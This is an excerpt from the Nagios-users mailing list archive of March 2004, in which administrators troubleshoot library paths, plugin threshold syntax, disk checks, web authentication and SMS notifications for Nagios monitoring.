administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From strombrg at dcs.nac.uci.edu Thu Mar 4 23:59:34 2004 From: strombrg at dcs.nac.uci.edu (Dan Stromberg) Date: Thu, 04 Mar 2004 14:59:34 -0800 Subject: Statusmap Setup In-Reply-To: References: Message-ID: <1078441174.7481.12.camel@sabaki.dcs.uci.edu> On Tue, 2004-02-24 at 09:27, Matt Pounsett wrote: > On Tue, 24 Feb 2004, James Wade wrote: > > > [Tue Feb 24 10:52:14 2004] [error] [client 192.168.0.22] Premature end > > of script headers: /usr/local/nagios/sbin/statusmap.cgi > > ld.so.1: statusmap.cgi: fatal: libgd.so.2: open failed: No such file or > > directory > > > > However, when I look in /usr/local/lib, I find libgd.so.2 > > is /usr/local/lib is your ldconfig path? (or LD_LIBRARY_PATH environment > variable if you're on Solaris) Usually LD_LIBRARY_PATH is best avoided, unless you just set it in a wrapper script. I've tracked down a lot of problems to LD_LIBRARY_PATH's that solved a problem on one day, and caused a different problem on another. Best is to compile the executable with a suitable -R, at least if you're setting up a program's build system it is. You can also check into the free chrpath program, which can change a program's run path after the link is finished. I haven't used this program, but it may well be the easiest solution, and a pretty effective one too. This might be the best solution as an admin. -- Dan Stromberg DCS/NACS/UCI -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From pla at softflare.com Fri Mar 5 00:18:09 2004 From: pla at softflare.com (Paul L. Allen) Date: Thu, 04 Mar 2004 23:18:09 +0000 Subject: check_* -w and -c switches In-Reply-To: <56221198-6E1E-11D8-930C-000A95989E4A@lixfeld.ca> References: <56221198-6E1E-11D8-930C-000A95989E4A@lixfeld.ca> Message-ID: <20040304231810.25496.qmail@minnow.softflare.net> Jason Lixfeld writes: > If I'm monitoring a single process that doesn't spawn, I can't figure out > how to get nagios to understand that if it checks and finds 0 processes, > that it's a bad thing. Take a look at the plugin developers' guidelines. There's a section on specifying ranges which give a minimum and/or maximum value that will do what you want. Not all plugins support that syntax. Most of the ones that do support the syntax don't explain it to you. Check_procs does support it, and I use it to check that 1 instance of a process is running, or that a minimum of x processes are running (we have fax servers where I need to know that 1 copy of hfaxd is running and two copies of faxgetty are running). Maybe the details ought to be in the FAQ, but since many plugins don't support the range syntax, that might be a bad idea. It would probably be better if the plugins that did support ranges explained them in more detail. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From grispin at paradata.com Fri Mar 5 01:29:12 2004 From: grispin at paradata.com (Geoff Rispin) Date: Thu, 4 Mar 2004 16:29:12 -0800 Subject: check_* -w and -c switches Message-ID: you want to use the -l flag. RTFM -----Original Message----- From: Paul L. Allen [mailto:pla at softflare.com] Sent: Thursday, March 04, 2004 3:18 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Re: check_* -w and -c switches Jason Lixfeld writes: > If I'm monitoring a single process that doesn't spawn, I can't figure out > how to get nagios to understand that if it checks and finds 0 processes, > that it's a bad thing. Take a look at the plugin developers' guidelines. There's a section on specifying ranges which give a minimum and/or maximum value that will do what you want. Not all plugins support that syntax. Most of the ones that do support the syntax don't explain it to you. Check_procs does support it, and I use it to check that 1 instance of a process is running, or that a minimum of x processes are running (we have fax servers where I need to know that 1 copy of hfaxd is running and two copies of faxgetty are running). Maybe the details ought to be in the FAQ, but since many plugins don't support the range syntax, that might be a bad idea. It would probably be better if the plugins that did support ranges explained them in more detail. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhennessy at mitchamcouncil.sa.gov.au Fri Mar 5 01:43:13 2004 From: jhennessy at mitchamcouncil.sa.gov.au (Justin Hennessy) Date: Fri, 05 Mar 2004 11:13:13 +1030 Subject: 2D Status map (have read ALL doco and still no go) ... Message-ID: Hi All, I am trying to get the 2D status map up and running but when I try and access the page it gives me an Oject not found! I have downloaded and installed ALL of the libraries that the FAQ article says to install (http://www.nagios.org/faqs/viewfaq.php?faq_id=55). I edited the /etc/ld.so.conf file and added "/usr/lib" for the location of the GD libraries. Then I ran the ldconfig command to update the runtime linker options, ran "make clean" (I also tried "make devclean") and then re ran the configure script like this: ./configure --with-gd-lib=/usr/lib --with-gd-inc=/usr/include and it still told me that it couldn't find any of the libraries (GD, PNG, JPEG) Can someone point out what it is that I am doing wrong? Thanks, Justin ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Fri Mar 5 01:51:18 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 05 Mar 2004 00:51:18 +0000 Subject: check_* -w and -c switches In-Reply-To: References: Message-ID: <20040305005118.12054.qmail@minnow.softflare.net> Geoff Rispin writes: > you want to use the -l flag. RTFM I do? Why? I can do everything I want to do without resorting to a -l option. OK, I'll take your word for it that -l opens the gates to paradise and gives me 24 virgins and all sorts of other goodies. Hold on a second... /usr/lib/nagios/check_procs -h How strange! Nothing whatsoever about a -l option. This is bizarre. The answer I gave pointed the guy at how to do what he wanted to do and I know it was a valid answer because I use it myself. The answer you gave looks like a crock of unmentionable according to the primitive help from check_procs. Maybe, if I dig in the source, I'll see that -l is a crock of gold at the end of the rainbow. However, the answer I gave does not involve digging into the source and is known (by me) to work. Please explain why you believe that -l is the answer. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From grispin at paradata.com Fri Mar 5 01:54:42 2004 From: grispin at paradata.com (Geoff Rispin) Date: Thu, 4 Mar 2004 16:54:42 -0800 Subject: check_* -w and -c switches Message-ID: Sorry, my mistake.... the -l command is part of the nagios-statd plugin. Geoff -----Original Message----- From: Paul L. Allen [mailto:pla at softflare.com] Sent: Thursday, March 04, 2004 4:51 PM To: Geoff Rispin Cc: nagios-users at lists.sourceforge.net Subject: Re: check_* -w and -c switches Geoff Rispin writes: > you want to use the -l flag. RTFM I do? Why? I can do everything I want to do without resorting to a -l option. OK, I'll take your word for it that -l opens the gates to paradise and gives me 24 virgins and all sorts of other goodies. Hold on a second... /usr/lib/nagios/check_procs -h How strange! Nothing whatsoever about a -l option. This is bizarre. The answer I gave pointed the guy at how to do what he wanted to do and I know it was a valid answer because I use it myself. The answer you gave looks like a crock of unmentionable according to the primitive help from check_procs. Maybe, if I dig in the source, I'll see that -l is a crock of gold at the end of the rainbow. However, the answer I gave does not involve digging into the source and is known (by me) to work. Please explain why you believe that -l is the answer. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From noah at mac.com Fri Mar 5 03:52:32 2004 From: noah at mac.com (Noah Leaman) Date: Thu, 4 Mar 2004 18:52:32 -0800 Subject: finding which service checks have the most latency or execution time Message-ID: <2654BD8A-6E50-11D8-8A4A-00039345125C@mac.com> I haven't been able to find an easy or straight forward way to do this. How could I go about finding the top 10 (or so) worst performing service checks either by latency or execution time? -- Noah ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From lshobbrook at fasttrack.net.au Fri Mar 5 04:00:20 2004 From: lshobbrook at fasttrack.net.au (Lewis Shobbrook) Date: Fri, 5 Mar 2004 14:00:20 +1100 Subject: check_disk fails for dev/md0 Message-ID: <0C8098CA7F09CE419F0C2B68EB8358761EB7CB@exchange.fasttrack.net.au> Thanks for the replies Paul/Michael, [Paul] > > Anyone had any success with check_disk for raid devices. > Specifying > > /dev/md0 instead of /dev/hda1 in command > > check_local_disk!20%!10%!/dev/md0 fails, with unable to read output. > > Works for me. Have you changed the definition of check_local_disk? > I have check_disk - w $ARG1$ -c $ARG2$ -p $ARG3$. > > -- > Paul Allen > Softflare Support [Michael] >Hi, >I'm checking /dev/md0 on a remote host with netsaint_statd V3.20 (perl-script) for nearly >>one year with no problems. What's your output when you call check_disk from terminal? >Regards >Michael It seems from the console the path argument needed to be changed to -x for device rather than -p. Might have something to do with devfs ? Cheers, Lewis ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Fri Mar 5 04:03:11 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Thu, 4 Mar 2004 22:03:11 -0500 Subject: check_* -w and -c switches In-Reply-To: <20040304231810.25496.qmail@minnow.softflare.net> References: <56221198-6E1E-11D8-930C-000A95989E4A@lixfeld.ca> <20040304231810.25496.qmail@minnow.softflare.net> Message-ID: <20040304220311.287412ea.karl@debisschop.net> On Thu, 04 Mar 2004 23:18:09 +0000 "Paul L. Allen" wrote: > Maybe the details ought to be in the FAQ, but since many plugins don't > support the range syntax, that might be a bad idea. It would probably > be better if the plugins that did support ranges explained them in > more detail. The output from check_procs --help is below. 2 paragraphs plus 4 examples. Please feel free to suggest specific improvements. --cut-- RANGEs are specified 'min:max' or 'min:' or ':max' (or 'max'). If specified 'max:min', a warning status will be generated if the count is inside the specified range This plugin checks the number of currently running processes and generates WARNING or CRITICAL states if the process count is outside the specified threshold ranges. The process count can be filtered by process owner, parent process PID, current state (e.g., 'Z'), or may be the total number of running processes Examples: check_procs -w 2:2 -c 2:1024 -C portsentry Warning if not two processes with command name portsentry. Critical if < 2 or > 1024 processes check_procs -w 10 -a '/usr/local/bin/perl' -u root Warning alert if > 10 processes with command arguments containing '/usr/local/bin/perl' and owned by root check_procs -w 50000 -c 100000 --metric=VSZ Alert if vsz of any processes over 50K or 100K check_procs -w 10 -c 20 --metric=CPU Alert if cpu of any processes over 101001133246r 20% --cut-- I guess an example for 0 is in order: ./build-redhat/plugins/check_procs -C httpd -w 1: -c 1: PROCS CRITICAL: 0 processes with command name 'httpd' I'll add that now. Anything else? -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Fri Mar 5 04:05:50 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Thu, 4 Mar 2004 22:05:50 -0500 Subject: check_* -w and -c switches In-Reply-To: <20040305005118.12054.qmail@minnow.softflare.net> References: <20040305005118.12054.qmail@minnow.softflare.net> Message-ID: <20040304220550.6b1f408b.karl@debisschop.net> On Fri, 05 Mar 2004 00:51:18 +0000 "Paul L. Allen" wrote: > Geoff Rispin writes: > > > you want to use the -l flag. RTFM > > I do? Why? I can do everything I want to do without resorting to a > -l option. > > OK, I'll take your word for it that -l opens the gates to paradise > and gives me 24 virgins and all sorts of other goodies. Hold on > a second... > > /usr/lib/nagios/check_procs -h > > How strange! Nothing whatsoever about a -l option. No '-l' in the source either. Must have been a typo (or a thinko). Oh well. -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From wickus.botha at za.tiscali.com Fri Mar 5 05:45:38 2004 From: wickus.botha at za.tiscali.com (Wickus Botha) Date: Fri, 05 Mar 2004 06:45:38 +0200 Subject: Authentication question In-Reply-To: References: Message-ID: <27215.2079888203$1078462417@news.gmane.org> Hi Rob i'm using mod_auth_mysql + httpd-2.0.40 + RedHat 9. Apache authenticates againts a mysql database that u setup with all the relevant users. Check it out. If anybody else have comments about using mod_auth_mysql let me know. Thanks Wickus Botha On Thu, 2004-03-04 at 20:16, Robert Nelson wrote: > Okay, running into another problem. Using Apache2 with Nagios v1.2 on Red Hat 8.0. I have it set to do authentication (.htaccess as well as use_authentication=1), have my users created. If I use an invalid login, it locks me out. If I use a valid login, however, it only lets me log in as the "default" user. I.e. if the default user is "windchannel" and I log on as myself, "rob", it shows "Logged in as windchannel" > > I think this is an Apache error, not a Nagios error, but I'm stumped. I've checked the conf files from my old job, where authentication works fine, with the conf files on the new servers here. Anyone have a place I should start with? Thanks! > > Rob Nelson > Network Engineer > Windchannel Communications > M: 919-538-6326 > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jason+lists.nagios at lixfeld.ca Fri Mar 5 07:08:38 2004 From: jason+lists.nagios at lixfeld.ca (Jason Lixfeld) Date: Fri, 5 Mar 2004 01:08:38 -0500 Subject: check_* -w and -c switches In-Reply-To: <20040304231810.25496.qmail@minnow.softflare.net> References: <56221198-6E1E-11D8-930C-000A95989E4A@lixfeld.ca> <20040304231810.25496.qmail@minnow.softflare.net> Message-ID: <8B62E114-6E6B-11D8-8918-000A95989E4A@lixfeld.ca> On Mar 4, 2004, at 6:18 PM, Paul L. Allen wrote: > Take a look at the plugin developers' guidelines. There's a section > on specifying ranges which give a minimum and/or maximum value that > will do what you want. Not all plugins support that syntax. Most of > the ones that do support the syntax don't explain it to you. > Check_procs > does support it, and I use it to check that 1 instance of a process is > running, or that a minimum of x processes are running (we have fax > servers where I need to know that 1 copy of hfaxd is running and two > copies of faxgetty are running). > Maybe the details ought to be in the FAQ, but since many plugins don't > support the range syntax, that might be a bad idea. It would probably > be > better if the plugins that did support ranges explained them in more > detail. Thanks for the tip. One thing I don't understand though: 4. ranges are expressed with colons as in `check_procs -C httpd -w 1:20 -c 1:30` which will warn above 20 instances, and critical at 0 and above 30 There is no explicit documentation on what these values mean so how do you get critical at 0 and above 30 out of -c 1:30? It works, I've tried it but I don't understand they logic behind the syntax. Is this how it works? -w A:B OK between A-B instances, CRITICAL above B instances -c Y:Z CRITICAL below Y instances, CRITICAL above Z instances ?? > -- > Paul Allen > Softflare Support > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Stanley.Hopcroft at IPAustralia.Gov.AU Fri Mar 5 07:17:13 2004 From: Stanley.Hopcroft at IPAustralia.Gov.AU (Stanley Hopcroft) Date: Fri, 5 Mar 2004 17:17:13 +1100 Subject: RFC L2 (switch) topology. Mainly off-topic. Message-ID: <20040305171709.B63776@IPAustralia.Gov.AU> Dear Ladies and Gentlemen, I am writing to ask if there is any interest in using layer two topological information with Nagios. Potential uses include (that I will not probably not contribute to) . custom status maps that show the bridge/switch layout with respect to the spanning tree, which in many cases is the inter switch path viewed from the point of the root bridge. This is perhaps less useful than it may seem because the status map would ideally show the relationship of the hosts to the switches and while this is doable, it is slow with more than a small number of switches (say less than 10). . custom checks that analyse the spanning tree (and whine if the favourite/most powerful/least powerful/XP in bridge mode/some stray wireless node bridge is not or is the root bridge. What you would get ? 1 Net::SNMP (an absolute joy of a Perl module) pollers that ascertain - bridge MAC addresses (for relating to name and or IP) - descendant bridges - the switch 'designated bridge' - nodes in a netblock that are switches (ie respond to the dot1dBaseType with a value of 'transparent') 2 A Perl CGI that displays them (primitively) in a tree form with the root at the top This is the only application I have at the moment, although in principle, generating a dot map and having graphviz generate a .png for a better looking web display 'shouldn't be too hard' (TM). Switch topology. SCBR21-C5K-2 DBR21-C5K-1 DNGR21-C29-10 DNGR22-C28-11 DN1R21-C29-20 DN1R22-C28-21 DN1R23-C28-22 DN1R24-C28-23 DNR21-C29-30 DN2R23-C28-32 DN2R24-C28-33 DN2R22-C28-31 DN3R21-C29-40 DN3R22-C28-41 DN3R23-C28-42 DN3R24-C29-43 DN4R21-C29-50 DN4R22-C28-51 DN4R23-C28-52 .. snip .. SC1R41-C29-65 SC1R42-C28-66 SC1R43-C28-67 SC1R44-C28-68 SC1R45-C28-69 SC1R46-C29-162 What about the bad bits ? 1 The pollers don't reliably discover switches since 1.1 agents don't respond if they have better things to do 1.2 the switch discovery wants to be fast; I haven't bothered to retry the requests; maybe I should. 2 The code is not suitable for publication ie supportable or without known showstoppers (how can you have showstoppers in 300 lines of Perl ? well, I can). In fact, there may even be conceptual flaws also. 3 It almost certainly doesn't scale. At the moment the switch discovery and polling of ~ 80 switches in a /24 takes less than 5 seconds - without connectivy or utilisation problems. wins> /home/anwsmh/perl5/dotime 5 ./update_switch_topology Running ./update_switch_topology 5 times 1 2 3 4 5 done Avg 1 2 3 4 5 ------ ------ ------ ------ ------ ------ real 3.730 3.52 4.17 3.69 3.51 3.76 user 1.120 1.19 1.18 1.08 1.08 1.07 sys 0.062 0.07 0.07 0.07 0.04 0.06 wins> Please would you let me know if there is any interest or that - this is stupid; L2 sucks (sure does) - we already use big name product foo to do this and foo is great - why would you want to do this - we need it done for big_number k switches across n netblocks - does it work for Cisco rapid spanning tree (probably not). Yours sincerely. -- ------------------------------------------------------------------------ Stanley Hopcroft ------------------------------------------------------------------------ '...No man is an island, entire of itself; every man is a piece of the continent, a part of the main. If a clod be washed away by the sea, Europe is the less, as well as if a promontory were, as well as if a manor of thy friend's or of thine own were. Any man's death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee...' from Meditation 17, J Donne. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fredrik.wanglund at mobeon.com Fri Mar 5 09:15:09 2004 From: fredrik.wanglund at mobeon.com (=?ISO-8859-1?Q?Fredrik_W=E4nglund?=) Date: Fri, 05 Mar 2004 09:15:09 +0100 Subject: finding which service checks have the most latency or execution time In-Reply-To: <2654BD8A-6E50-11D8-8A4A-00039345125C@mac.com> References: <2654BD8A-6E50-11D8-8A4A-00039345125C@mac.com> Message-ID: <4048370D.6010209@mobeon.com> Top ten latency: grep SERVICE /var/status.log|sort -t ";" -n +22|tail -10 Top ten exec-time: grep SERVICE /var/status.log|sort -t ";" -n +23|tail -10 /FredrikW Noah Leaman wrote: > I haven't been able to find an easy or straight forward way to do this. > How could I go about finding the top 10 (or so) worst performing service > checks either by latency or execution time? > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 5 10:15:14 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 05 Mar 2004 09:15:14 +0000 Subject: volatile state stalking - snmp traps service notifications In-Reply-To: References: Message-ID: <40484522.1050000@exponential-e.com> Noah Leaman wrote: > > How do you all address the issue of trap monitoring when you want > notifications for them? > I have done something similar with interfaces, the only way I know is to define each interface as a service. I realise this is potentially a lot of services. We do this on core network device interfaces, but only define services for interfaces that are in use. This is an automated process so as interfaces are activated/deactivated they are added or removed from the Nagios configuration files. As the only alerts are passive ones for these services, it isn't as though one is introducing something like a vast increase in active checks. HTH, Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pieterg at newingtoncs.co.za Fri Mar 5 10:11:43 2004 From: pieterg at newingtoncs.co.za (Pieter Grobbelaar) Date: Fri, 05 Mar 2004 11:11:43 +0200 Subject: notifications by SMS Message-ID: <1078477902.5286.49.camel@ncspieter.newingtoncs.co.za> Hi there I read through your FAQ pages and saw the entry for notifications through SMS. My problem is this: We have an existing E-mail to SMS gateway, but it requires the number of the cellular phone in the Subject Field. Is there a way that the Nagios config files can be configured to have a subject line added to the contacts.cfg field or possibly the macro's associated with e-mail? Regards Pieter ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 5 10:23:12 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 05 Mar 2004 09:23:12 +0000 Subject: check_mailq In-Reply-To: <012401c40219$3b467e10$24136044@desktop> References: <012401c40219$3b467e10$24136044@desktop> Message-ID: <40484700.3080707@exponential-e.com> Gary Goodloff wrote: > > I am trying to configure Nagios to monitor my qmail queue -- > > but I get a alarm of unknown in the monitor. That the plugin did not > return anything. OR I get stderr = 28416 : IIRC check_mailq is a perl plug in so easy to change. I needed to alter it in order to monitor the Exim MTA, you may need to do the same for qmail. Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 5 10:29:20 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 05 Mar 2004 09:29:20 +0000 Subject: Can't open pipe In-Reply-To: <404782EF.5080705@mci.com> References: <404782EF.5080705@mci.com> Message-ID: <40484870.70409@exponential-e.com> Cal Lidderdale wrote: > Recompiled on a new machine (alpha) > > running from prompt: ( nagios -d nagios.cfg ) and the web looks fine. > When I tell it to "Sche. an Imed. check" it trys to run, but ... > > ../var/status.log contains: > > [1078428014] HOST;npst;DOWN;1078427723;1078418138;0;10;7569;0;1078425372; > 2;1;1;1;1;0;0.00;0;1;1;Cannot open pipe: (null) > > [1078428014]SERVICE;npst;PING;UNKNOWN;1/3;HARD;1078427723;1078428023; > > ACTIVE;1;1;1;1078418139;0;UNKNOWN;0;7568;0;0;0;0;1;0;0;1;0;0.00;0;1;1;1; > Cannot open pipe: (null) > > the ... rw/nagios.cmd file is there permissions look good (accord2docs) > and it gets > timestamped current whenever I run a check. > > aaaaaalp, I missed something. > On a couple of occasions I've noticed the command pipe seemed to disappear. Try stopping Nagios, check that there are no Nagios processes running and then start it again. Assuming it has never worked, can you fire off a passive command as root via the command pipe to see if it is a permission problem? HTH, Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Tom.DeBlende at dhl.com Fri Mar 5 10:30:39 2004 From: Tom.DeBlende at dhl.com (Tom DE BLENDE (GCC)) Date: Fri, 05 Mar 2004 10:30:39 +0100 Subject: notifications by SMS In-Reply-To: <1078477902.5286.49.camel@ncspieter.newingtoncs.co.za> References: <1078477902.5286.49.camel@ncspieter.newingtoncs.co.za> Message-ID: <404848BF.6030600@dhl.com> Use the 'pager? to store the phone number in your contact definition, and use $CONTACTPAGER$ to use that variable in your notify-by-sms command. For Example: command_line /bin/echo -e '***** Nagios 1.0 *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVICEDESC$\nHos t: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional Info:\n\n$OUTPUT$' | REPLYTO=to m.deblende at dhl.com 